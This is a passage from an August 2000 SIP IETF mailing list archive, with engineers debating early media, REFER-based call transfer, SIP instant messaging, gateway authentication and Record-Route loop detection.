implementation will let the user know that > > this is happening. Someone pointed out that bidirectional audio before > > call acceptance doesn't work in ISUP. How, in this case, are things like > > calling card numbers, etc. which require DTMF collection before call > > completion, handled? > > I don't like this alternative as it makes it impossible for the caller > to send RTCP in response to early media. Instead, > > a=sendonly > > seems like the more appropriate mechanism. (There's also a security > implication: if the UAS sends an IP address, the receiver at least has a > chance of rejecting bogus audio packets as long the attacker can't > intercept the SDP *and* forge IP addresses. Without this, it would be > pretty easy to just send RTP as 'early media' to any local SIP phone, > for example.) OK, I like this much better too. Benny writes: > If UDP is used, then the 1xx responses from UAS can arrive out of > order in the UAC. So how can the UAC knows which response sent first? > > Or should we mandate that the version number in the SDP origin field > MUST be increased when UAS changes the SDP in 1xx? You will need to use reliable provisional responses whether you send one 183 or more. Reliable provisional responses also gives you ordering. Cliff writes: > Certainly it is true that SIP is not a telephony protocol, and it is not > necessarily the case that things in SIP should work the same way they do in > PSTN protocols. However, purely from the point of view of semantics, if the > purpose of an INVITE is to create a session, and if a full two-way media > stream is created before the INVITE transaction is complete, things seem a > little wonky: a session has been created, therefore the INVITE transaction > should have terminated. All the examples that Brett gave relating to the > early two-way media stream involved DTMF collection. In a sense, then, the > early two-way media stream is a work-around for not being able to, or not > wanting to, send DTMF tones in the signalling path. No; one can imagine "early media" that uses speech recognition. I agree its on the clunky side; in the absence of the PSTN I would argue for sending a 200 and forgetting about this early media stuff. But, we've been through it before and it appears critical for PSTN interoperability. To minimize damage, I am proposing that the handling of SDP in 183 mirror that of SDP in 200 OK, so that they are nearly the same. > It may well be that a given UAC is unwilling or unable to set up a two-way > early media path as requested by a UAS. Perhaps it would be worthwhile to > specify what the UAC should do in that case: should it set up a one-way > media path, or should it refuse to set up any media at all? Nothing forces a client to send media even if the other side indicates it wishes to receive it. A UAC that refuses to do two way early media simply won't sent early media irrespective of the SDP in the 1xx. We should be sure to capture all of this in the bis draft. -Jonathan R. -- Jonathan D. Rosenberg 72 Eagle Rock Ave. Chief Scientist First Floor dynamicsoft East Hanover, NJ 07936 jdrosen@dynamicsoft.com FAX: (973) 952-5050 http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 http://www.dynamicsoft.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 25 00:56:39 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA00342 for <sip-archive@odin.ietf.org>; Fri, 25 Aug 2000 00:56:39 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 5CFE644389; Fri, 25 Aug 2000 00:56:24 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from ertpg14e1.nortelnetworks.com (ertpg14e1.nortelnetworks.com [47.234.0.35]) by lists.bell-labs.com (Postfix) with ESMTP id 2FE894433A for <sip@lists.bell-labs.com>; Fri, 25 Aug 2000 00:56:21 -0400 (EDT) Received: from zrtpd004.us.nortel.com (actually zrtpd004) by ertpg14e1.nortelnetworks.com; Fri, 25 Aug 2000 00:53:22 -0400 Received: by zrtpd004.us.nortel.com with Internet Mail Service (5.5.2652.35) id <RPW657NS>; Fri, 25 Aug 2000 00:53:23 -0400 Message-ID: <28560036253BD41191A10000F8BCBD11480C84@zcard00g.ca.nortel.com> From: "Tom-PT Taylor" <taylor@nortelnetworks.com> To: "'Rohan Mahy'" <rohan@cisco.com>, Jonathan Rosenberg <jdrosen@dynamicsoft.com> Cc: Brett Tate <brett@broadsoft.com>, SIPbell-labs <sip@lists.bell-labs.com>, rsparks@dynamicsoft.com Subject: RE: [SIP] draft-ietf-sip-cc-transfer-00 comments and questions Date: Fri, 25 Aug 2000 00:53:21 -0400 X-Mailer: Internet Mail Service (5.5.2652.35) Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com I've been plugging REFERS into call flows for each of the services you list in your latest comment, and it works on the assumption that matching call-id means that party C shouldn't indicate it is busy or invoke call waiting. These flows actually take advantage of the fact that the old call leg remains in place until explicitly taken down. > -----Original Message----- > From: Rohan Mahy [mailto:rohan@cisco.com] > Sent: Thursday, August 24, 2000 1:46 PM ... > > >Rohan Mahy wrote: > > > > > > Hi, > > > > > > Let me try and rephrase Brett's question. Let's assume > the following > > scenario: > > > > > > A sends REFER to B with a Refer-To: <C> > > > B sends an INVITE to C with Referred-By: <A> > > > > > > When C receives an INVITE with a Referred-By header, how > does C know > > > whether to: > > > a) accept this INVITE as a new call, > > > >This is the case when the Call-ID is unknown. > > > > > b) accept this INVITE as a replacement for > another call leg, or > > > >I assume you are talking about the now-defunct Replaces: function? I > >believe now > >that this function is quite a complex one and something that > merits much > >more discussion > >before deciding if its needed. > > I'm sure folks will want to do things like: > > Attended transfer > Consultative Conference > transitioning from a 3-way call to an MCU controlled > conference > screening voicemail messages > etc... > > I could go on for pages. > > All these features require a way to take an existing call > leg, replace it > with another, and keep the old resources (speaker/microphone, > DS0, video > window, whatever) associated with the new call leg. > > > > c) accept this INVITE as new party in an > existing call ?? > > > >Known call-id. > > I don't think this is sufficient. First, I think the > existing call-id is > better suited for replacement of call legs as described above. > > Second, from the definition of call, conference, session, and > call-id in > the bis draft, I have always interpreted this to mean that if > A calls B, > and B calls C, if you join these two calls together, they > need to keep > unique call ids. Neither call was invited by a common > source, and neither > call necessarily has or will use the same session description. > > from the bis draft: > >Call: A call consists of all participants in a conference > invited by a > >common source. A SIP call is identified by a globally unique call-id > >(Section 6.12). Thus, if a user is, for example, invited to the same > >multicast session by several people, each of these > invitations will be a > >unique call. A point-to-point Internet telephony > conversation maps into a > >single SIP call. In a multiparty conference unit (MCU) based call-in > >conference, each participant uses a separate call to invite > himself to the MCU. > > >Conference: A multimedia session (see below), identified by a common > >session description. A conference can have zero or more members and > >includes the cases of a multicast conference, a full-mesh > confer-ence and > >a two-party "telephone call", as well as combinations of > these. Any number > >of calls can be used to create a conference. > > > We need a way to semantically link multiple calls with > distinct call-ids. > > thanks, > -rohan > > > > > > The semantics aren't well-defined yet. The draft just > mentions that you > > > can include a call-id in the refer-to or referred-by URL. > It doesn't say > > > what that would mean or what you should do with it. > > > >Thats something that needs to be addressed in the bis draft. > It needs to > >say what it means to receive a call from a different party > but with the > >same call-ID as an existing call. > > > >-Jonathan R. > >-- > >Jonathan D. Rosenberg 72 Eagle Rock Ave. > >Chief Scientist First Floor > >dynamicsoft East Hanover, NJ 07936 > >jdrosen@dynamicsoft.com FAX: (973) 952-5050 > >http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 > >http://www.dynamicsoft.com > > > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip > _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 25 01:12:09 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA01322 for <sip-archive@odin.ietf.org>; Fri, 25 Aug 2000 01:12:08 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id DD38A443A2; Fri, 25 Aug 2000 01:01:02 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with ESMTP id AE7D34433A for <sip@lists.bell-labs.com>; Fri, 25 Aug 2000 01:00:59 -0400 (EDT) Received: from dynamicsoft.com (1Cust224.tnt1.freehold.nj.da.uu.net [63.17.113.224]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id BAA09008; Fri, 25 Aug 2000 01:02:42 -0400 (EDT) Message-ID: <39A5FD32.2AE7EC73@dynamicsoft.com> Date: Fri, 25 Aug 2000 00:59:30 -0400 From: Jonathan Rosenberg <jdrosen@dynamicsoft.com> Organization: dynamicsoft X-Mailer: Mozilla 4.7 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: farhan <farhan@hotfoon.com> Cc: sip@lists.bell-labs.com Subject: Re: [SIP] on sip IM implementation References: <002501c00d82$efcd69a0$9b4436ca@bigboy> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit farhan wrote: > > i dont really know if this is the form to discuss these things .. but > nevertheless, here i go. > > 1. the MESSAGE request carries a callid. thus, if two people exchange > messages with the same callid, they should show up on the same windows for > both the users. This is pretty straightforward. What is not straightforward > is the question of treating an exchange of messages as a session. I think > that we should because the users will look at it that way and the software > authors (including I) will implement it that way. When my software gets a > message for a callid, i look up the current list of windows open and match > the message's callid with that of the window and if no window is found, then > the user agent will prompt the user to open a new window. The specification as written already defines the notion of a "session" for IMs. Its optional; you can always treat each IM independently. > > 2. Okay, the MESSAGE is extremely efficient. I haven't seen anything > quicker, simpler and more sophisticated. It is ideal for a two party > conference. What happens when you want to join a third party to your two way > IM chat? Actually, MESSAGE can handle this, each person will have to send a > copy of MESSAGE to all the participants in the call (sharing the same > callid). Now how is a new participant invited to a group session of IM? > please note that we are already using words like session and invite. Thus, > we also need to be able to specify a group of users that the called party > will have to send MESSAGEs to. > This is my suggestion for an IM group chat INVITE: > > INVITE sip:newone@somewhere.com > To: sip:newone@somewhere.com > From: sip:caller@elswhere.com > Call-ID: 123456789@elsewhere.com > CSeq: 1 INVITE > Content-Type:application/sdp > > v=0 > o=caller 32434 23424 IN IP4 202.54.30.24 > s=Chat session > > m=application 5060 SIP/2.0 MESSAGE > a=participant:first@hostx.com > a=participant:second@hosty.com > a=participatn:third@hostz.com This seems similar to the fully distributed multiparty conferencing concepts, but using SDP to convey that information instead of SIP. In general, I believe we will be able to reuse all of the conferencing mechanisms being developed for SIP for IM as well. > I have also examine the RTP text payload RFC. It is not suitable as it is > has no error correction. It provides redundancy which will perform just as well. I think there is room for both as they serve different applications. -Jonathan R. -- Jonathan D. Rosenberg 72 Eagle Rock Ave. Chief Scientist First Floor dynamicsoft East Hanover, NJ 07936 jdrosen@dynamicsoft.com FAX: (973) 952-5050 http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 http://www.dynamicsoft.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 25 01:15:41 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA01687 for <sip-archive@odin.ietf.org>; Fri, 25 Aug 2000 01:15:40 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id A301F443AE; Fri, 25 Aug 2000 01:05:34 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with ESMTP id 389134433A for <sip@lists.bell-labs.com>; Fri, 25 Aug 2000 01:05:31 -0400 (EDT) Received: from dynamicsoft.com (1Cust224.tnt1.freehold.nj.da.uu.net [63.17.113.224]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id BAA09019; Fri, 25 Aug 2000 01:07:02 -0400 (EDT) Message-ID: <39A5FE36.573F7F5A@dynamicsoft.com> Date: Fri, 25 Aug 2000 01:03:50 -0400 From: Jonathan Rosenberg <jdrosen@dynamicsoft.com> Organization: dynamicsoft X-Mailer: Mozilla 4.7 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Marc Petit-Huguenin <petithug@NetergyNet.COM> Cc: Kevin Summers <Kevin.Summers@ttimail.com>, IETF SIP <sip@lists.bell-labs.com> Subject: Re: [SIP] Detection of UAC failure References: <51A66FB90C0C4D45BEBDB2A4BC1E8BEC1AED02@MAILHOST.tti.net> <39A45659.93581E80@8x8.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Marc Petit-Huguenin wrote: > > Kevin Summers wrote: > > > > Take a look at the following draft: > > > > http://www.ietf.org/internet-drafts/draft-ietf-sip-session-timer-02.txt > > > > Additionally, Henning's tasty faq-o-matic addresses keepalives: > > > > http://www.cs.columbia.edu/~hgs/sip/faq.cgi?_highlightWords=keep&file=40 > > Session timers can only be used after the session is established (or am > I wrong?). My question is how to know if the client is alive, before > sending the 200 OK: > > UAC UAS > | INVITE | > |--------->| > | 100 | > |<---------| > | 180 | > |<---------| > | | > Here there is a long long time and the user do not pickup the phone (if > its a telephony application). If the UAC is dead, the phone continue to > ring (the crash of the UAC will be detected when the 200 is send, but > that's not the point). How I can check that the UAC is alive without > using PRACK? You could poll it with an OPTIONS, but I think this not really worth it. This is a corner case; the failure will be detected when the ACK never shows up for the 200 OK. -Jonathan R. -- Jonathan D. Rosenberg 72 Eagle Rock Ave. Chief Scientist First Floor dynamicsoft East Hanover, NJ 07936 jdrosen@dynamicsoft.com FAX: (973) 952-5050 http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 http://www.dynamicsoft.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 25 01:27:52 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA03090 for <sip-archive@odin.ietf.org>; Fri, 25 Aug 2000 01:27:51 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 8743044388; Fri, 25 Aug 2000 01:27:32 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with ESMTP id AEA2E4433A for <sip@lists.bell-labs.com>; Fri, 25 Aug 2000 01:27:29 -0400 (EDT) Received: from dynamicsoft.com (1Cust224.tnt1.freehold.nj.da.uu.net [63.17.113.224]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id BAA09056; Fri, 25 Aug 2000 01:29:03 -0400 (EDT) Message-ID: <39A6035E.4DDC74C0@dynamicsoft.com> Date: Fri, 25 Aug 2000 01:25:50 -0400 From: Jonathan Rosenberg <jdrosen@dynamicsoft.com> Organization: dynamicsoft X-Mailer: Mozilla 4.7 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: David Harris <dlharris@nortelnetworks.com> Cc: "Sip-Implementors (E-mail)" <sip-implementors@cs.columbia.edu>, sip <sip@lists.bell-labs.com> References: <89866A7EC9C0D1119C950000F8BCC282016352E9@zrtpd00n.us.nortel.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [SIP] Re: SIP gateways and authentication Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit > David Harris wrote: > > If an H.323 or MGCP originator calls a SIP user agent through a > gateway, I am thinking the messaging should go from the gateway to a > SIP proxy server and then to the SIP user agent. My guess is that > registering all possible originators from the gateway wouldn't be an > valid solution so if the proxy server is authenticating INVITEs, how > is authenticating an INVITE from a gateway handled? This is a good question; one that we have mentioned in passing here and there, but for which we have not yet settled on a solution. Let me rephrase the problem. A user makes a call from a PSTN phone through a PSTN->SIP gateway. This call arrives at a proxy server, then gets routed to a UAS. Either or both of the proxy/UAS might challenge this request. In this case, who is being authenticated, the gateway itself, or the user calling in through the gateway? If its the user themselves, how would that work? One might argue that authentication of a gateway by a proxy is useless; really in this case you want a hop by hop security mechanism like IPSec or TLS, and forgo completely the high overhead SIP authentication for each message. Then again, in the absence of support for IPSec or TLS, SIP proxy authentication migth provide a way to authenticate the gateway from a proxy. It also seems unlikely the UAS would really be interested in authenticating the originating gateway. So, given there are useful cases for authenticating both the gateway and the user calling in through the gateway, how do we know which is being challenged? Some options: 1. The realm indicates this. For example, a realm of "gateway" would indicate that the gateway is being authenticated, "user" means the user. We wouldn't need to standardize the actual words here, but rather standardize that the realm would indicate which was the case through administrative configuration. 2. Use a different response code for each case. Probably not a great idea. 3. Others? I'll also note that this problem is not limited to gateways - its the fundamental issue of whether you authenticate a device or a user, and could equally well apply to a softphone application, single line gateway, and trunking gateway. Thoughts on this issue? -Jonathan R. -- Jonathan D. Rosenberg 72 Eagle Rock Ave. Chief Scientist First Floor dynamicsoft East Hanover, NJ 07936 jdrosen@dynamicsoft.com FAX: (973) 952-5050 http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 http://www.dynamicsoft.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 25 03:30:34 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA13631 for <sip-archive@odin.ietf.org>; Fri, 25 Aug 2000 03:30:33 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id C847244385; Fri, 25 Aug 2000 03:29:32 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from web1604.mail.yahoo.com (web1604.mail.yahoo.com [128.11.23.204]) by lists.bell-labs.com (Postfix) with SMTP id 048234433A for <SIP@lists.bell-labs.com>; Fri, 25 Aug 2000 03:29:29 -0400 (EDT) Received: (qmail 6471 invoked by uid 60001); 25 Aug 2000 07:29:28 -0000 Message-ID: <20000825072928.6470.qmail@web1604.mail.yahoo.com> Received: from [213.29.206.8] by web1604.mail.yahoo.com; Fri, 25 Aug 2000 00:29:28 PDT Date: Fri, 25 Aug 2000 00:29:28 -0700 (PDT) From: mohsen sedighi <mohsen_sedighi@yahoo.com> To: SIP@lists.bell-labs.com MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [SIP] finding s title for MS thesis Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com in the name of god I want to research on sip as my ms thesis,who can tell me which part of it is better for this purpose. Best regards, mohsen __________________________________________________ Do You Yahoo!? Yahoo! Mail - Free email you can access from anywhere! http://mail.yahoo.com/ _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 25 06:01:46 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA15011 for <sip-archive@odin.ietf.org>; Fri, 25 Aug 2000 06:01:45 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 85A124436F; Fri, 25 Aug 2000 06:01:39 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from penguin-ext.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [194.237.142.110]) by lists.bell-labs.com (Postfix) with ESMTP id 154D64433A for <sip@lists.bell-labs.com>; Fri, 25 Aug 2000 06:01:36 -0400 (EDT) Received: from ms.uab.ericsson.se (ms.uab.ericsson.se [134.138.201.16]) by penguin.wise.edt.ericsson.se (8.11.0/8.10.1/WIREfire-1.3) with ESMTP id e7PA1Zw13765 for <sip@lists.bell-labs.com>; Fri, 25 Aug 2000 12:01:35 +0200 (MEST) Received: from uabx04c148.uab.ericsson.se.uab.ericsson.se (uabx04c148 [134.138.228.163]) by ms.uab.ericsson.se (8.10.0/8.10.0/uab-2.26) with ESMTP id e7PA1YL03622 for <sip@lists.bell-labs.com>; Fri, 25 Aug 2000 12:01:35 +0200 (MET DST) Received: from uab.ericsson.se by uabx04c148.uab.ericsson.se.uab.ericsson.se (8.8.7/client-1.3uab1) id MAA17117; Fri, 25 Aug 2000 12:01:33 +0200 (MET DST) Message-ID: <39A643FD.D73395B7@uab.ericsson.se> Date: Fri, 25 Aug 2000 12:01:33 +0200 From: Loita Jahnsson <Loita.Jahnsson@uab.ericsson.se> Organization: Ericsson Utvecklings AB X-Mailer: Mozilla 4.7C-CCK-MCD [en] (X11; U; SunOS 5.6 sun4u) X-Accept-Language: sv,en-US MIME-Version: 1.0 To: sip@lists.bell-labs.com Subject: Re: [SIP] more on Record-Route and Loop-Detection References: <001001c00dbb$6aea4f80$4e34c3c1@ubiquity.co.uk> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Hi Jo! Thanks for your answer! I think I was a bit too eager to prove my point, so I was careless when writing my example. Both Record- Route and as a consequence Route is wrong there. Each host should push itself first in the Record-Route list (which I didn't do). The called UA should maintain the order of the entries in the list though, read 6.34.2 in the spec: "If a UA finds a Record-Route header in a request received as a UAS, it copies the Record-Route maddr parameters and any port value, maintaining their ordering ... " I am sorry about the confusion I caused by writing my example carelessly. What I was trying to show however, is the benefit of keeping the original URI information when the called UA is building it's Route information. I know you recognized this, Jo, but I want to correct the example anyway, in case other would read it ;) The modified example is included below. I would also like to say something about the reasons given for keeping the spec the way it is. > I think my sentiment was best expressed by Johnathan: > JR> It [using the Contact/From address] maintains the fundamental > JR> principle that the request URI indicates for whom the request > JR> is destined. By relying on Route headers to get the request > JR> there, even though the request URI says something completely > JR> difference, makes the operation of the protocol brittle. We > JR> have seen this at bakeoffs - loops often occur if any proxy > JR> has anything slightly wrong with their route processing. OK. Let's look at the similarlity between Via headers and Route headers as far as routing concerns. Via - Response - routing: * Via is a list of destinations that should be used when routing the response. * If the Via is constructed in a wrong manner the routing of the response will fail. * You don't have a response-URI to make a second routing attempt with if the Via-routing fails. Route - Request - routing: * Route is a list of destinations that should be used when routing the request. * I think similarly to the Via - if the Route is constructed in a wrong manner the routing should fail. As I wrote in a previous posting it is undefined how much you would be able to heal a session anyway. You have to be able to trust Route in the same manner you trust the Via for a response!!!! * When using Route, you don't need a request-URI to be able to perform the routing task. But, here is my statement, which if it's wrong I would like an explanation of why it's wrong: The request-URI in SIP today has dual purpose, (i) routing (when Route is not present), (ii) to together with the call leg identify transactions within a stateful SIP proxy. For the sake of (ii) the request-URI _is_ important at all times, also when routing with Route. (Look at the example net I made in my answer to Jonathan, and you will see what I mean). So I would wish that we could be pragmatic about this and keep the original URI information from Record-Route when building the Route at all times. I really hope this discussion will be continued. Best Regards, Loita Jahnsson SIP SW Designer Ericsson, Sweden -------- MODIFIED EXAMPLE --------------------------------------- c1 --> p1 : INVITE u1@p1 contact a@c1 p1 --> p2 : INVITE u2@p2 contact a@c1 record-route u1@p1<maddr=p1-addr> p2 --> p1 : INVITE u3@p1 contact a@c1 record-route u2@p1<maddr=p2-addr>, u1@p1<maddr=p1-addr> p1 --> c2 : INVITE b@c2 contact a@c1 record-route u3@p1<maddr=p1-addr>, u2@p2<maddr=p2-addr>, u1@p1<maddr=p1-addr> OK, so now the INVITE request has reached it's final destination, c2, and according to the solution proposed in the spec today, c2 created this Route information to be used for subsequent requests: c2: Route = a@c1<maddr=p1-addr>, a@c1<maddr=p2-addr>, a@c1<maddr=p1-addr>, a@c1 Let's skip the INVITE-response & ACK and move forward directly to the point of time when b@c2 is generating a BYE request for the session c2 --> p1 : BYE a@c1 route a@c1<maddr=p2-addr>, a@c1<maddr=p1-addr>, a@c1 p1 --> p2 : BYE a@c1 route a@c1<maddr=p1-addr>, a@c1 p2 --> p1 : BYE a@c1 <---- loop detection .... route a@c1 p1 --> p2 : Loop detect ... You see, when the request reaches proxy p1 the second time with the same request-URI, it will be considered a loop, and the transaction will not be successful, even if it should be. Let's go for the alternative that I proposed, which is simply keep the original request-URI-information. Then after Record-Routing the INVITE, c2 would create this Route: c2: Route = u3@p1<maddr=p1-addr>, u2@p2<maddr=p2-addr>, u1@p1<maddr=p1-addr>, a@c1 OK, now b@c2 will send a BYE using that information: c2 --> p1 : BYE u3@p1 route u2@p2<maddr=p2-addr>, u3@p1<maddr=p1-addr>, a@c1 p1 --> p2 : BYE u2@p2 route u3@p1<maddr=p1-addr>, a@c1 p2 --> p1 : BYE u1@p1 route a@c1 p1 --> c1 : BYE a@c1 ****************************** _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 25 06:16:33 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA15061 for <sip-archive@odin.ietf.org>; Fri, 25 Aug 2000 06:16:33 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id DBC5F443A5; Fri, 25 Aug 2000 06:16:16 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from albatross-ext.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [194.237.142.116]) by lists.bell-labs.com (Postfix) with ESMTP id 8318244399 for <sip@lists.bell-labs.com>; Fri, 25 Aug 2000 06:16:13 -0400 (EDT) Received: from ms.uab.ericsson.se (ms.uab.ericsson.se [134.138.201.16]) by albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with ESMTP id e7PAFtp00953; Fri, 25 Aug 2000 12:15:55 +0200 (MEST) Received: from uabx04c148.uab.ericsson.se.uab.ericsson.se (uabx04c148 [134.138.228.163]) by ms.uab.ericsson.se (8.10.0/8.10.0/uab-2.26) with ESMTP id e7PAFtL05420; Fri, 25 Aug 2000 12:15:55 +0200 (MET DST) Received: from uab.ericsson.se by uabx04c148.uab.ericsson.se.uab.ericsson.se (8.8.7/client-1.3uab1) id MAA17127; Fri, 25 Aug 2000 12:15:50 +0200 (MET DST) Message-ID: <39A64756.F7215F3C@uab.ericsson.se> Date: Fri, 25 Aug 2000 12:15:50 +0200 From: Loita Jahnsson <Loita.Jahnsson@uab.ericsson.se> Organization: Ericsson Utvecklings AB X-Mailer: Mozilla 4.7C-CCK-MCD [en] (X11; U; SunOS 5.6 sun4u) X-Accept-Language: sv,en-US MIME-Version: 1.0 To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>, sip@lists.bell-labs.com Subject: Re: [SIP] more on Record-Route and Loop-Detection References: <000501c00cf7$3c4da1f0$4e34c3c1@ubiquity.co.uk> <39A4B348.2EEF590F@dynamicsoft.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Hi, I'd like to clarify the example I made yesterday, because I made a typo. It should look like this: -------- ------ ---u1@p2-----> ------ | | | | | | | | a@c1 | -user@fp-> | p1 | ------u2@p2-----> | p2 | ... continued | | | | | | | -------- ------ ---u3@p2-----> ------ In other word, proxy p1 forks the requests to three different users at proxy p2. This is where the request-URI is needed to separate the transactions (or at least I believe so). I think basically, the problem was recognized when you had the spiral discussion previously this year. Then it was recognized that the request-URI had to be taken into account when separating the transactions at the proxy for the spiral case. And after that discussion, it is taken into account, because the branch values are generated partially based on the request-URI information. But I believe the problem is more of a general nature and not limited to the case of spirals/loops alone, and that it should be recognized that the request-URI also serves (together with the call leg) as a transaction identifier for a state-ful proxy. Best Regards, Loita Jahnsson SIP SW designer _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 25 06:18:02 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA15072 for <sip-archive@odin.ietf.org>; Fri, 25 Aug 2000 06:18:02 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id DA0E9443B0; Fri, 25 Aug 2000 06:17:07 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from ubiquity.net (mail.ubiquity.net [194.128.96.72]) by lists.bell-labs.com (Postfix) with ESMTP id 553F444399 for <sip@lists.bell-labs.com>; Fri, 25 Aug 2000 06:17:03 -0400 (EDT) Received: from jhornsby by ubiquity.net with 